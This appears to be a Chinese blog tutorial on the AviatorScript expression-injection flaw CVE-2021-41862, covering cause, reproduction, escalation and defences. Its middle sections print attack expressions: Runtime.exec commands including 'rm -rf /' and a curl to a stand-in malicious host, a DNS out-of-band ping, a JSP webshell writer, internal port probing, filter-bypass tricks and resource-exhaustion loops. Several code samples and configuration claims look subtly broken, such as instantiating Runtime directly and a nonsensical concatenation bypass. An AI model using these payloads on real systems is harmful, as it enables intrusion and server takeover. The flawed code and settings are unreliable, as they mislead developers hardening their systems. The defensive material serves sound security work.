Java表达式注入漏洞CVE-2021-41862深度解析与防御实践
1. 项目概述:当表达式引擎成为攻击入口
最近在梳理一些开源组件的安全历史时,我又一次注意到了CVE-2021-41862。这个编号可能对很多人来说有点陌生,但提到AviatorScript,不少做Java高性能计算或者规则引擎的开发者应该不陌生。这是一个轻量级、高性能的Java表达式求值引擎,在很多需要动态配置计算规则的系统里都能看到它的身影,比如风控模型的实时评分、电商平台的动态定价、工作流中的条件判断等等。它的核心卖点就是快,通过直接将表达式编译成JVM字节码来执行,避免了传统解释执行的性能损耗。
然而,CVE-2021-41862这个漏洞,恰恰就出在这个“高性能”的实现机制上。简单来说,在默认的安全配置下,攻击者可以构造一个特殊的表达式,让AviatorScript去实例化并执行任意Java类,这几乎等同于在应用服务器上开了一个执行任意代码的后门。想象一下,如果你的一个线上系统,因为一个动态配置的促销折扣计算公式,就被人远程执行了Runtime.getRuntime().exec(“rm -rf /”),那场面简直不敢想。这个漏洞的危险性在于,它非常容易被忽视。很多开发者引入AviatorScript时,只关注了其功能的强大和性能的优越,却默认信任了它的执行沙箱,没有仔细审查其安全边界。今天,我就结合这个漏洞,和大家深入聊聊表达式注入漏洞的原理、在AviatorScript中的具体成因、如何复现和验证,以及最重要的——我们该如何防御和修复。无论你是负责系统安全的工程师,还是正在使用类似组件的开发者,理解这个漏洞都能帮你避开一个大坑。
2. 漏洞核心原理与AviatorScript架构解析
要理解CVE-2021-41862,我们不能只停留在“有个漏洞”的层面,必须深入到AviatorScript的设计和实现中去。这就像看病,得先知道身体的正常运作机制,才能找到病灶所在。
2.1 AviatorScript 的工作机制:从表达式到字节码
AviatorScript不是一个完整的脚本语言,它主要专注于表达式求值。你给它一个字符串,比如”a + b * c”,并传入一个包含变量a、b、c的上下文(Map),它就能快速算出结果。它的高性能秘诀在于“编译执行”。
- 词法分析与语法分析:首先,AviatorScript会将你输入的表达式字符串,解析成一棵抽象语法树(AST)。这个过程会检查表达式的语法是否正确,比如括号是否匹配,运算符是否合法。
- AST优化:引擎会对AST进行一些优化,比如常量折叠(把
2+3直接计算成5),以减少运行时开销。 - 字节码生成(关键步骤):这是最核心也最危险的一步。AviatorScript使用ASM(一个Java字节码操作框架)动态生成一个Java类。这个类包含一个
execute方法,其方法体就是你的表达式逻辑。例如,对于表达式”a + b”,它可能会生成一个类似下面伪代码的类:public class GeneratedExpression_0 { public Object execute(Map<String, Object> env) { Object a = env.get(“a”); Object b = env.get(“b”); return ((Number)a).doubleValue() + ((Number)b).doubleValue(); } } - 类加载与执行:生成的字节码会被一个自定义的
ClassLoader(通常是ExpressionClassLoader)加载到JVM中,然后实例化并调用其execute方法得到结果。由于是标准的JVM字节码,执行速度与手写的Java代码几乎无异。
这个“编译为字节码”的机制,是AviatorScript性能的基石,但也为安全漏洞埋下了伏笔。因为它本质上赋予了表达式“创造新类”的能力。
2.2 漏洞的根源:过于宽松的“白名单”
问题出在:AviatorScript允许在表达式中做什么?
在默认配置下,AviatorScript的功能非常强大。除了基本的算术和逻辑运算,它还允许通过new关键字来实例化Java对象。例如,表达式”new java.util.ArrayList()”是合法的,它会返回一个空的ArrayList。
从功能角度看,这很强大,你可以直接在表达式里操作复杂对象。但从安全角度看,这无异于打开了潘多拉魔盒。因为new后面可以跟任何在类路径上可访问的类的全限定名。
漏洞利用的关键类就是java.lang.Runtime。这个类可以执行系统命令。在默认配置下,攻击者可以构造如下表达式:
new java.lang.Runtime().exec(“calc.exe”)或者更常见的,通过反射来绕过可能的字符串检测:
let clazz = java.lang.Class.forName(“java.lang.Runtime”); let runtime = clazz.getMethod(“getRuntime”).invoke(null); runtime.exec(“open /Applications/Calculator.app”);为什么这是危险的?因为很多使用AviatorScript的场景,表达式来源是外部可配置的。例如:
- 规则引擎:运营人员在后台配置的风控规则
”user.riskScore > 80 && new java.lang.Runtime().exec(‘恶意命令’)”。 - 动态公式:用户在表单中输入的计价公式,被后台用AviatorScript计算。
- 模板渲染:某些模板中嵌入了简单的表达式逻辑。
如果系统没有对表达式内容做严格的过滤和限制,攻击者就可以通过输入上述恶意表达式,在服务器上以运行该Java应用的权限执行任意命令,从而导致服务器被完全控制。
注意:这里有一个常见的误解,认为Java应用部署在容器里就很安全。实际上,一旦能执行
Runtime.exec(),攻击者就能在容器内做任何事情,包括窃取数据、植入挖矿程序、攻击内网其他服务等,危害程度极高。
2.3 与常见注入漏洞的对比
为了更清晰地定位这个漏洞,我们可以把它和我们更熟悉的SQL注入、命令注入做个对比:
| 漏洞类型 | 注入点 | 恶意输入目标 | 最终执行环境 |
|---|---|---|---|
| SQL注入 | 应用程序拼接的SQL语句字符串 | 数据库服务器 | 数据库引擎(如MySQL, PostgreSQL) |
| 命令注入 | 应用程序调用的系统命令字符串(如Runtime.exec) | 应用服务器操作系统 | 系统Shell(如bash, cmd) |
| 表达式注入 (CVE-2021-41862) | 表达式引擎执行的表达式字符串 | 应用服务器的JVM | Java虚拟机(通过字节码) |
可以看到,表达式注入的危害链更短,威力更大。它不需要像SQL注入那样去猜测数据库结构,也不需要像命令注入那样去突破应用层的字符串过滤。它直接利用了表达式引擎自身的强大功能(实例化类),将恶意代码注入到应用的核心运行时(JVM)中执行。
3. 漏洞复现与环境搭建
纸上得来终觉浅,绝知此事要躬行。安全研究尤其如此,只有亲手复现了漏洞,才能对其危害有最直观的认识。下面我带大家搭建一个最简单的复现环境。
3.1 准备漏洞版本AviatorScript
CVE-2021-41862影响的是5.2.7及之前的所有版本。我们这里使用一个明确的漏洞版本,例如5.2.6进行复现。
如果你使用Maven,可以在一个干净的测试项目的pom.xml中添加以下依赖:
<dependency> <groupId>com.googlecode.aviator</groupId> <artifactId>aviator</artifactId> <version>5.2.6</version> <!-- 漏洞版本 --> </dependency>如果你希望更简单,可以直接下载jar包。但为了后续分析,建议使用Maven项目,方便引入源码。
3.2 编写一个简单的测试程序
我们创建一个简单的Java类,模拟一个使用AviatorScript计算用户输入表达式的脆弱应用。
import com.googlecode.aviator.AviatorEvaluator; import java.util.HashMap; import java.util.Map; public class VulnerableAviatorDemo { public static void main(String[] args) { // 模拟从外部(如HTTP参数、配置文件、数据库)获取的表达式 // 这里我们硬编码一个恶意表达式作为演示 String userInputExpression = “new java.lang.Runtime().exec(‘calc.exe’)”; // Windows弹出计算器 // String userInputExpression = “new java.lang.Runtime().exec(‘open -a Calculator’)”; // macOS // String userInputExpression = “new java.lang.Runtime().exec(‘xcalc’)”; // Linux (需安装xcalc) System.out.println(“[+] 正在计算表达式: “ + userInputExpression); try { // 这是最危险的使用方式:直接执行未经任何过滤和限制的用户输入 Object result = AviatorEvaluator.execute(userInputExpression); System.out.println(“[+] 表达式执行完成。结果(可能为null): “ + result); } catch (Exception e) { System.err.println(“[-] 执行表达式时出错: “ + e.getMessage()); e.printStackTrace(); } } }3.3 执行与效果观察
- 将上述代码保存为
VulnerableAviatorDemo.java。 - 确保你的
pom.xml中依赖的是5.2.6版本,然后编译运行。 - 在Windows环境下,如果你的Java应用有图形界面权限(比如在本地IDE中运行),你会看到系统计算器(calc.exe)被成功弹出。
- 在无图形界面的服务器环境(Linux/Windows Server),命令同样会执行,只是你看不到图形界面。你可以将命令换成
touch /tmp/hacked_by_aviator或curl a-malicious-website.com来验证命令确实被执行了。
复现成功的关键标志:进程成功创建。即使exec()方法返回的Process对象可能因为IO问题抛出异常,但命令本身在调用exec()的瞬间就已经由操作系统启动执行了。这就是为什么即使捕获了异常,漏洞依然被成功利用的原因。
实操心得:在真实漏洞复现或渗透测试中,我们通常会使用“延时”或“DNS外带”等无回显的技巧来验证命令执行。例如,执行
ping -c 4 your-unique-subdomain.dnslog.cn或sleep 5。如果应用响应时间明显变长,或者DNS日志收到了查询记录,就证明漏洞存在且可利用。这比弹计算器更适用于生产环境。
4. 漏洞深度利用与影响范围分析
复现了弹计算器,只是理解了漏洞的“皮毛”。一个真正的安全研究者或攻击者,会思考如何将这个漏洞的威力最大化。我们来看看在默认配置下,这个漏洞还能做些什么。
4.1 超越Runtime.exec:其他危险类
Runtime.exec是最直接的利用方式,但绝不是唯一。在默认的AviatorScript白名单(其实是黑名单机制缺失)下,攻击者可以实例化任何类,这意味着:
- 文件操作:利用
java.io.FileWriter或java.nio.file.Files类,写入Webshell。let fw = new java.io.FileWriter(“/var/www/html/shell.jsp”); fw.write(“<%@page import=‘java.util.*,java.io.*’%><% if(request.getParameter(“cmd”)!=null) { Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); … %>”); fw.close(); - 网络连接:利用
java.net.Socket发起内网探测或攻击。let s = new java.net.Socket(“192.168.1.1”, 22); // 探测内网SSH服务 - 反射与类加载:利用
java.lang.ClassLoader定义恶意类,实现更复杂的内存马。let cl = new com.googlecode.aviator.ExpressionClassLoader(); // 理论上可以通过defineClass加载恶意字节码,实现更隐蔽的后门 - 线程与内存:创建大量线程或对象,发起拒绝服务攻击。
// 消耗CPU while(true) { let i = 1 + 1; } // 消耗内存 let list = new java.util.ArrayList(); for(i=0; i<1000000; i=i+1) { list.add(new byte[1024]); }
4.2 漏洞的隐蔽性与利用场景
这个漏洞的可怕之处在于其极高的隐蔽性和广泛的适用场景。
隐蔽性:
- 无异常:很多危险操作(如创建文件、建立网络连接)在表达式层面可能不会抛出应用层异常,只是返回一个
null或对象引用,这使得在日志中很难发现异常。 - 混淆绕过:攻击者可以对表达式进行简单的混淆,例如使用字符串拼接、十六进制编码、反射调用等,绕过基于关键词的简单WAF或过滤规则。
// 字符串拼接绕过“Runtime”关键词检测 let cmd = “calc”; new java.lang.”Run” + “time”.exec(cmd + “.exe”); - 上下文利用:表达式可以访问传入的变量上下文。如果上下文中包含了敏感对象(如数据库连接
DataSource、HTTP请求HttpServletRequest),攻击者甚至可以直接操作这些对象,无需new。
典型受影响场景:
- SAAS或PaaS平台的规则自定义:允许用户上传自定义业务规则或公式的平台。
- 低代码/零代码平台:通过拖拽和表达式配置业务逻辑,表达式引擎往往是核心。
- 金融或风控系统的策略中心:策略规则经常需要动态调整,表达式引擎是首选。
- 报表系统的动态计算字段:允许用户自定义计算逻辑。
- 任何将AviatorScript配置为默认或推荐表达式引擎的框架:开发者可能在不了解其安全配置的情况下直接使用。
4.3 漏洞链组合利用的可能性
在实战中,高危漏洞很少单独存在。CVE-2021-41862可以与其他漏洞或弱点结合,形成更具破坏力的攻击链。
- 结合SSRF:如果应用本身存在SSRF漏洞,能访问内网服务,但无法执行命令。攻击者可以利用SSRF将恶意表达式作为参数,发送到内部另一个使用了脆弱版本AviatorScript的服务上,从而在内部网络实现命令执行,绕过外部防火墙。
- 结合文件上传:如果应用存在文件上传漏洞但无法获取执行权限。攻击者可以先上传一个JSP Webshell文件到临时目录,然后通过AviatorScript表达式注入漏洞,执行命令将该文件移动到Web目录,从而获得一个稳定的Web后门。
- 权限提升:如果Java应用本身以高权限(如root、system)运行,那么通过此漏洞执行的命令也就拥有了相应的高权限,可以完成更危险的操作。
5. 修复方案与安全加固实践
分析了漏洞的危害,接下来就是最关键的部分:如何修复和防御。对于使用AviatorScript的团队来说,这里有从紧急止血到彻底根治的多种方案。
5.1 官方修复方案:升级版本
最根本的修复方法是升级AviatorScript到已修复该漏洞的版本。根据官方信息,5.3.0及以上版本通过引入更严格的安全控制机制修复了此漏洞。
升级步骤:
- 修改你的
pom.xml或build.gradle文件,将AviatorScript依赖版本至少升级到5.3.0。<dependency> <groupId>com.googlecode.aviator</groupId> <artifactId>aviator</artifactId> <version>5.3.0</version> <!-- 或更高版本 --> </dependency> - 进行全面的回归测试。因为新版本可能引入了API变化或行为变更,需要确保你的业务逻辑不受影响。
5.3.0版本的核心修复:在默认配置下,禁用了new操作符和java.lang.Class.forName方法。这意味着之前那些直接new Runtime()的表达式现在会直接抛出异常,从根本上堵住了漏洞。
5.2 配置安全模式:如果无法立即升级
如果你的项目因为兼容性等原因无法立即升级到5.3.0,那么必须通过配置来启用安全模式。这是旧版本中最重要的安全加固手段。
AviatorEvaluator提供了aviator.eval.mode系统属性来控制评估模式:
aviator.eval.mode=EVAL:默认模式,不安全。允许使用new、forName等。aviator.eval.mode=INTERPRETER:解释器模式,相对安全。不使用ASM编译字节码,而是通过解释器执行AST。性能有下降,但禁用了new操作符。aviator.eval.mode=ASM:编译模式,但可配置白名单。需要结合AviatorEvaluator.setOption进行细粒度控制。
推荐做法(针对5.2.x版本):
- 启动参数配置:在JVM启动参数中强制设置为解释器模式。
-Daviator.eval.mode=INTERPRETER - 代码中硬编码配置(更可靠):在应用初始化时,最早的位置(如Spring的
@PostConstruct或Servlet的init方法中)执行:import com.googlecode.aviator.AviatorEvaluator; import com.googlecode.aviator.Options; public class SecurityConfig { @PostConstruct public void initAviatorSecurity() { // 设置为解释器模式,禁用new操作符 AviatorEvaluator.setOption(Options.EVAL_MODE, EvalMode.INTERPRETER); // 进一步地,可以禁用函数(如果不需要) // AviatorEvaluator.getInstance().disableFeature(Feature.Assignment); // AviatorEvaluator.getInstance().disableFeature(Feature.Lambda); System.out.println(“[INFO] AviatorScript已设置为安全解释器模式。”); } }
注意事项:设置为
INTERPRETER模式会带来明显的性能损失,可能达不到引入AviatorScript的初衷。这只能作为临时缓解措施,最终目标仍是升级到安全版本。
5.3 自定义函数与白名单机制(进阶安全)
对于5.3.0及以上版本,或者对安全性有极致要求的场景,AviatorScript提供了更细粒度的安全控制——自定义函数和白名单。
核心思想:不暴露完整的Java表达能力,而是将业务需要的特定功能封装成安全的“函数”,暴露给表达式使用。
操作步骤:
- 禁用所有不安全特性:在初始化时,明确关闭危险功能。
AviatorEvaluator.setOption(Options.FEATURE_SET, Feature.getCompatibleFeatures()); // 使用兼容特性集 AviatorEvaluator.getInstance().disableFeature(Feature.NewInstance); // 明确禁用new AviatorEvaluator.getInstance().disableFeature(Feature.InstanceMethodCall); // 谨慎:禁用实例方法调用(根据需求) - 注册自定义安全函数:将业务需要的操作封装成函数。
// 例如,业务需要一个“发送消息”的功能,而不是允许任意网络调用 AviatorEvaluator.addFunction(new AbstractFunction() { @Override public String getName() { return “sendAlert”; } @Override public AviatorObject call(Map<String, Object> env, AviatorObject arg1) { // 参数类型检查和过滤 String message = FunctionUtils.getStringValue(arg1, env); // 实现安全的发送逻辑,比如调用内部服务,而不是直接Socket alertService.send(message); return AviatorNil.NIL; } }); // 表达式里只能这样用 // sendAlert(“高风险交易”) — 安全 // new Socket(...) — 将被拒绝执行 - 使用
ClassFilter(5.3.3+):更高版本支持类过滤器,可以精确控制哪些类可以被访问。AviatorEvaluator.getInstance().setClassFilter(new ClassFilter() { @Override public boolean permit(Class<?> clazz) { // 只允许数学、工具类等安全类 return clazz.getName().startsWith(“java.lang.Math”) || clazz.getName().startsWith(“java.util.Date”) || clazz.getName().startsWith(“com.yourcompany.safeutils.”); } });
5.4 输入验证与表达式沙箱
除了引擎侧的加固,应用层也必须做好防御。
- 严格的输入验证:
- 白名单校验:如果表达式的内容是预定义的(如从下拉框选择),坚决不使用字符串拼接,而是使用映射到安全表达式ID的方式。
- 黑名单过滤(效果有限):如果必须接受自由文本,可以过滤
new、forName、Runtime、ProcessBuilder、getClass()等危险关键词及其变种(大小写、双写、编码)。但这种方法很容易被绕过,只能作为辅助手段。
- 表达式沙箱(终极方案):对于不可信来源的表达式,最安全的方式是在一个完全隔离的环境中执行。
- 使用Java SecurityManager:配置严格的策略文件,禁止表达式执行类创建文件、网络连接、执行命令等操作。但SecurityManager在新版Java中已被标记为废弃,且配置复杂。
- 在独立进程中执行:将表达式求值服务部署为一个独立的微服务,该服务运行在高度受限的容器或用户权限下。即使被攻破,影响范围也仅限于该服务。主应用通过RPC调用该服务获取结果。
- 使用真正的沙箱方案:考虑使用更专业的、设计上就考虑沙箱的脚本引擎,如Oracle Nashorn(已废弃)的某些安全配置,或基于GraalVM的隔离上下文。
6. 漏洞挖掘与安全编码启示
CVE-2021-41862不是一个复杂的逻辑漏洞,但它非常典型。它给所有开发者和架构师上了深刻的一课:永远不要信任任何外部输入,尤其是那些会被“执行”的输入。
6.1 漏洞挖掘思路复盘
如果我们站在白盒审计的角度,如何发现这类漏洞?思路可以总结为:
- 定位危险API/组件:在项目中搜索
AviatorEvaluator.execute、compile、eval等方法的调用点。 - 回溯数据流:检查传入这些方法的表达式字符串(第一个参数)的来源。是硬编码?配置文件?数据库?用户输入(HTTP请求参数、上传文件内容)?
- 判断输入是否可控:如果来源是用户输入或外部存储,则标记为“可疑”。
- 检查安全配置:查看调用点周围是否有安全配置,如
setOption、EvalMode.INTERPRETER、自定义函数、ClassFilter等。如果没有,漏洞很可能存在。 - 构造POC验证:在测试环境,尝试向可控的输入点注入简单的测试表达式,如
new java.util.Date(),看是否能成功返回一个日期对象,从而验证漏洞。
这个流程可以推广到审计任何“代码执行”类组件,如OGNL、SpEL、MVEL、JEXL等表达式引擎,以及Freemarker、Velocity等模板引擎。
6.2 给开发者的安全编码准则
- 最小权限原则:表达式引擎应该只拥有完成其任务所必需的最小权限。默认情况下应该是“什么都不允许”,然后按需开启功能。
- 默认安全配置:在引入一个第三方组件时,第一件事就是查阅其安全文档,了解默认配置是否安全。像AviatorScript 5.2.x的默认配置就是不安全的,这需要我们在项目初始化时就显式地将其配置为安全模式。
- 外部输入即威胁:所有来自系统外部的数据(HTTP参数、Header、Cookie、文件内容、数据库字段、RPC响应、消息队列内容)在进入核心执行逻辑(如表达式求值、数据库查询、命令执行)前,都必须经过严格的验证和过滤。
- 依赖项安全管理:
- 使用Maven Enforcer插件或OWASP Dependency-Check等工具,定期扫描项目依赖中的已知漏洞(CVE)。
- 订阅依赖库的安全邮件列表或关注其GitHub Security Advisories。
- 及时升级到安全版本,并做好兼容性测试。
- 纵深防御:不要只依赖一层防护。应该在表达式引擎层、应用逻辑层、网络层(WAF)等多个层面部署防御措施。即使一层被绕过,还有其他层提供保护。
6.3 漏洞修复后的验证
修复漏洞后,如何验证修复是否有效?
- 单元测试:编写安全的单元测试用例,专门测试恶意表达式是否会被正确拒绝。
@Test(expected = ExpressionSyntaxErrorException.class) // 期望抛出语法错误异常 public void testMaliciousExpressionIsBlocked() { String malicious = “new java.lang.Runtime().exec(‘calc’)“; // 在配置了安全模式或升级后,此调用应失败 AviatorEvaluator.execute(malicious); } @Test public void testSafeExpressionWorks() { // 确保正常的业务表达式仍然可用 Long result = (Long) AviatorEvaluator.execute(“1 + 2 * 3”); assertEquals(7L, result.longValue()); } - 集成测试/渗透测试:在测试环境中,模拟攻击者从真实的入口(如API接口)注入恶意表达式,确认系统返回的是预期的错误信息,而不是执行了命令。
- 代码审查:团队内进行交叉代码审查,确保所有使用AviatorScript的地方都遵循了新的安全规范。
CVE-2021-41862的教训是深刻的。它提醒我们,在追求性能和灵活性的同时,绝不能以牺牲安全为代价。作为开发者,我们需要对所使用的工具保持敬畏之心,理解其强大功能背后的风险,并通过审慎的配置和编码实践,构建真正健壮、安全的系统。每一次漏洞分析,都是对我们安全意识和技能的一次提升。
